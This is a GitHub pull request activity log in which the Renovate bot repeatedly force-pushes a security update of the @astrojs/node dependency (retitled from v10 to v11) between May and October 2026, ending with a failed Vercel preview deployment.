renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 12dcfbf to ce1842e Compare May 12, 2026 17:45
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from ce1842e to 4890d4b Compare May 15, 2026 00:52
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 4890d4b to 3588967 Compare May 28, 2026 18:35
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 3588967 to 442b5b8 Compare June 1, 2026 19:59
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 442b5b8 to f37f872 Compare June 11, 2026 12:11
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from f37f872 to 25d8382 Compare July 12, 2026 16:14
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 25d8382 to e5f11a2 Compare July 30, 2026 16:32
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from e5f11a2 to e100a44 Compare July 30, 2026 23:31
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from e100a44 to e19bdc1 Compare August 26, 2026 17:17
@renovate renovate Bot changed the title chore(deps): update dependency @astrojs/node to v10 [security] chore(deps): update dependency @astrojs/node to v11 [security] Aug 26, 2026
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from e19bdc1 to ca0606c Compare September 2, 2026 19:16
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from ca0606c to b446b6e Compare September 16, 2026 21:52
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from b446b6e to d26be36 Compare September 25, 2026 03:56
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from d26be36 to d101e17 Compare October 6, 2026 08:46
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from d101e17 to 12ffd5f Compare October 13, 2026 11:57
@renovate
renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 12ffd5f to b9c1b97 Compare October 20, 2026 12:26

This branch had an error being deployed

1 failed deployment
Preview — b9c1b970 Deployed Oct 20, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants